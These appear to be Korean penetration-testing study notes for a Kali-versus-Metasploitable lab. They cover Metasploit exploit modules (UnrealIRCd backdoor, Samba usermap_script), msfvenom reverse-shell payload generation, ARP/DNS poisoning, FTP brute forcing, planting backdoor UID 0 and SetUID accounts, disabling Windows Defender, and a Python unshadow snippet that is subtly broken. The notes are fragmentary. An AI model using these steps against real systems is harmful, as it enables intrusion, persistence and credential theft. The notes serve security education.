0HP

Ettercap (ARP, DNS) 을 이용한

ARP Poisoning

DNS Poisoning 공격

목표 : 공격 대상자가 외부에게 전송된 패킷이 Gateway를 통과하기 전 공격자가 중간에 개입하여 패킷이 공격자를 통해 패킷이  Gateway로 내보내지고 Gateway에서 들어온 응답을 공격자를 거쳐 공격 대상자 에게 보내지게 한다.

파이썬을 이용한 unshadow

>>> import os
>>> import re
>>> file = open('shadow', 'r')
>>> shadow = file.read().rstrip().split('\n')
>>> file.close()
>>> file = open('passwd', 'r')
>>> passwd = file.read().rstrip().split('\n')
>>> file.close()
>>> passwd2 = {}
>>> for row in passwd:
...     words = row.split(':')
...     passwd2[words[0]] = words[1]
>>> shadow2 = {}
>>> for row in shadow:
...     words = row.split(':')
...     shadow2[words[0]] = words[1]
>>> unshadowed_passwd = ""
>>> for user, value in passwd2.items():
...     value[0] = shadow2[user]
...     text = ":".join(value)
...     unshadowed_passwd += user + ":" + text + "\n"
...
>>> file = open ("unshadowed_passwd", "w")
>>> file.write(unshadowed_passwd)
2093
>>>
>>> file.close()

--arch=x86      (아키텍처 32bit)
--paltform=linux  (linux운영체제)
--format=elf         (linux운영체제에서 사용하는 확장자)
--payload=linux/x86/meterpreter_reverse_tcp  (악성 코드 종류)

1. 기존 계정의 유저명/ 해쉬암호 추출

 이제 침투한 공격 대상자 리눅스의 유저명과 암호를 추출해본다.

2. 백도어 계정(UID 0), 암호가 없어야함

3. SetUID (vi -> vi2)로 설정

미터프리터 환경에서 cp와 chmod 명령어를 이용하여 vi를 복제한 후 SetUID로 설정한다.

공격대상자 사용자의 실수로 침투가 가능하다.

특정한 취약점이 없어도 사용자가 악성 코드를 실행함으로써 침투가 가능해진다. 악성 코드를 공격 대상자 몰래 설치하고 공격 대상자 스스로 실행하기 까지 일련의 과정이 필요하다.

msfvenom 명령어를 이용하여 악성 코드를 생성한다.

msfvenom                                payload (File)                ->    배포

공격자                                                                                   공격 대상자

                                                                                              (사용자의 실수)

IP주소                     <---reverse_tcp(역방향)-------

Port번호

--arch                    CPU종류(32bit, 64bit)

--platform              O/S(Windows, Linux, Android, Mac)

--format                실행 파일 형식 (exe, elf, ...)

--payload              platform/payload/reverse_tcp

--encoders            Enscryption (숨기는 기능)

exploit 구문이 없고 payload 구문만 있다. 공격자의 주소 정보는 있지만 공격 대새장자의 IP주소가 없다. 블툭정 다수를 대상으로 사용하기 때문에 공격 대상자의 IP주소 설정을 생략한다. windows/meterpreter/reverse_tcp 구문에서와 같이 공격 대상자가 윈도우 기반의 악성 코드를 실행하면 공격자는 역방향 접속에 의해 미터프리터 환경을 획득할 수 있다. -f c는 C언어 형식의 코드를 생성하라는 의미이다. 생성한 악성 코드는 32비트 기반의 크기는 345바이트이다. 최종 파일의 크기는 1518바이트이다. unsigned char buf[] 배열에 들어간 코드는 쉘코드로 유닉스/리눅스의 쉘 환경에서 실행하는 기계어를 의미한다.

백도어 설치, 키로그설치

윈도우 디펜더 비활성화

1. 윈도우키 + R 실행하여 regedit을 입력하여 레스트리 편집기를 실행한다.

재부팅결과 디펜더가 비활성화가 되지않아 로컬 그룹 정책 편집기를 사용한다.

윈도우 디펜더 비활성화

2. 로컬 그룹 정책 편집기

실행파일을 이용한 악성코드 침투

do you want to store hashes to a temporary file for eventual further processing with other tools

(다른 도구를 사용하여 최종적으로 추가 처리할 수 있도록 임시 파일에 해시를 저장하시겠습니까라는 문구가 나오는데 N를 해준다)

do you want to crack them via a dictionary-based attack?

(사전에 기반한 공격을 통해 해독을 하겠습니까 문구에는 Y를 해준다.)

자동으로 blind injection 공격을 통해 해당 데이터베이스의 계정정보, 패스워드, 스키마, 테이블구조, 데이터베이스의 정보를 획득 할 수 있다.

서버를 침투하기 전 사전의 준비가 필요하다.

먼저 root을 탈취하기 위한 무한대입공격, 해쉬덤프를 이용한 암호해독 그리고 버전 정보 획득 등이 있다.

버전 정보를 획득하여 무한 대입 공격으로 root계정의 비밀번호를 획득한다.

unreal_ircd_3281_backdoor.rb 모듈을 이용한 침투

해당 모듈은 osvdb-65445/cve-2015-2075 취약점에 기반함 침투 모듈이다.

UnrealIRCd에 트로이 목마 기반의 악성코드를 삽입해 공격자가 원격에서 악성 코드를 실행시킬 수 있다.

IRC란 실시간 채팅 프로토콜이고 UnrealIRCd란 오픈 소스 IRC 데몬을 의미힌다. 해당 취약점은 UnrealIRCd 3.2.8.1버전에서 실행할 수 있다고 알려졌다.

iptables

INPUT(incoming) DROP

OUTPUT(outgoing) ACCEP

유닉스/리눅스 기반의 운영체제 침투

Kali Linux                                       ->                                      Metasploitable

ms02-058                     Microsoft 2002-058
cve-2xxx-xxxx              Global Application 2xxx-xxxx

osvdb                           OpenSource

exploit은 취약점을 뚫고 들어가는것이고 / payload는 뚫고 들어가서 악성코드를 심는 것이다.

set payload cmd/unix/bind_ruby (방화벽이 열려있을때 사용)

set payload cmd/unix/reverse_ruby (방화벽이 닫혀있을때 사용, 공격 대상자가 공격자에게 접근을 유도한다.)

meterpreter

shell_to_meterpreter는 일종의 악종코드인데 사전에 준비된 세션에 적용 시킬 수 있다.

 l이 붙은 명령어는 local컴퓨터를 조작하는 명령어이다.

Kali(Local)          Metaploitable(Remote)

                    ls    ->

               <- lls

              <- lcd

                   cd   ->

arp (Address Resolution Protocol) : 주소 해결 프로토콜

IP Address  Mac Address

usermap_script.rb 모듈을 이용한 침투

해당 모듈은 osvdb-34700/cve-2007-1547 취약점에 기반한 침투 모듈이다. 삼바에서 발생한 구조적 속성을 악용해 공격자가 원격에서 악성 코드를 실행시킬 수 있다. 해당 취약점은 삼바 3.0.20 버전에서 3.0.25rc3 버전까지 실행이 가능하다고 알려졌다.

정방향(방화벽이 열려있을때)

msf6 > use exploit/취약점 모듈

msf6 exploit(취약점모듈) > use payload 악성코드/bind_ruby or bind_tcp

msf6 exploit(취약점모듈) > set rhost 공격대상자ip

msf6 exploit(취약점모듈) > exploit

역방향(방화벽이 닫혀있을때)

msf6 > use exploit/취약점 모듈

msf6 exploit(취약점 모듈) > use payload 악성코드/reverse_ruby or reverse_tcp

msf6 exploit(취약점 모듈) > set rhost 공격대상자ip

msf6 exploit(취약점 모듈) > set lhost 공격자ip

msf6 exploit(취약점 모듈) > set lport 공격자port번호

msf6 exploit(취약점모듈) > exploit

미터프리터 방식

대상 PC - Metasploitable2 : 192.168.0.23

공격 PC - Kail Linux 2022.4 : 192.168.0.29

모의 해킹 공격을 하기 전 공격 대상 PC에서 sudo 명령어를 사용할 수 있는 계정과 그룹을 확인한다.

대상 PC에서 

 admin1 / 1234 (sudo)
 user2  / 2222
 sales3 / 4545 계정을 생성한다.

metasploitable의 경우 user를 새로 생성하게 되면 홈 디렉토리가 생성이 되지 않는 문제가 생겼다.

브루트포스 공격을 하기 위하여  칼리리눅스에 공격 대상 linux에서 생성한 유저 명과 패스워드를 넣은 텍스트 파일을 칼리리눅스에 생성한다.

Mysql 계정도 설정해준다.

DataBase
 root@% / 1234
 user5@% / 6789
create user 'user5'@'%' identified by '6789';
 update user set password = password('1234') where user = 'root';

공격을 시도하기 위해 msfconsole을 실행한다.

공격하기 전 공격 대상의 리눅스의 포트를 스캔한다.

use auxiliary/scanner/ftp/ftp_login 을 입력하고 공격 대상의 ip, ftp의 포트넘버, 무한대입 공격을 위한 유저명과 패스워드가 들어있는 텍스트파일을 지정하고 횟수를 256번, 공격이 성공해도 멈추지 않게 설정한후에 run으로 공격을 실행해주었다.

ftp포트로 공격을 시도한 결과 admin1, user2, sales3의 계정로그인이 성공하였다.

msfconsole

1. Metasploit : CVE 넘버링이 붙은 알려진 취약점 공격을 사용할 수 있도록 제공되는 도구로 해킹을 편하게 하도록 도와주는 모의해킹 테스트 도구이다.

※ CVE : Common Vulnerabilities and Exposure 공개적으로 알려진 소프트웨어 보안 취약점을 가리키는 고유 표기이다.

2. 특징

 1) 정보 수집, 공격(Exploit), 공격에 사용되는 Plugin(payload) 등으로 구성된 도구

 2) 외부 모듈인 취약점 점검, 포트 스캐너 등의 사용이 가능하고 DB저장이 가능

 3) 정보 수집 및 공격 모듈 사용 시 간편하게 진행 가능

 4) msfconsole 내에서 외부 명령어(리눅스 명령어) 사용 가능

 5) 리눅스에서 실행하는 공격 툴 관련 싱행 내용들을 Metaploit에서 실행하여 결과를 저장 가능

모의 해킹 프로세스

모의 해킹 프로세스의 단계로는

0. 사전협의 단계
1. 정보수집 단계
2. 취약점분석 단계
3. 침투 단계
4. 대응방안 수입, 보고서 작성 로 나누어 진다.

정보 수집 단계는 수동적인 정보 수집과 능동적인 정보 수집으로 나누어 진다.

수동적인 정보 수집은 구글, 네이버 등과 같은 검색으로 정보를 수집한다.

능동적인 정보 수집은 DNS 정보 조회(dig 또는 칼리리눅스를 사용), Host 정보 조회, Network (L3, L4 Port)정보를 수집한다.

칼리리눅스 nmap 명령어를 이용하여 공격 대상 PC의 포트 개방 여부 OS, 프로토콜의 버전등의 정보수집을 할 수 있다.

ex) nmap [옵션]  [포트번호] [공격 대상 IP]

옵션 : -p (조회할 포트번호) -sT (TCP포트), -sU (UDP포트), -sV (버전정보), -O (공격 대상 PC의 OS정보), --reason(질의응답)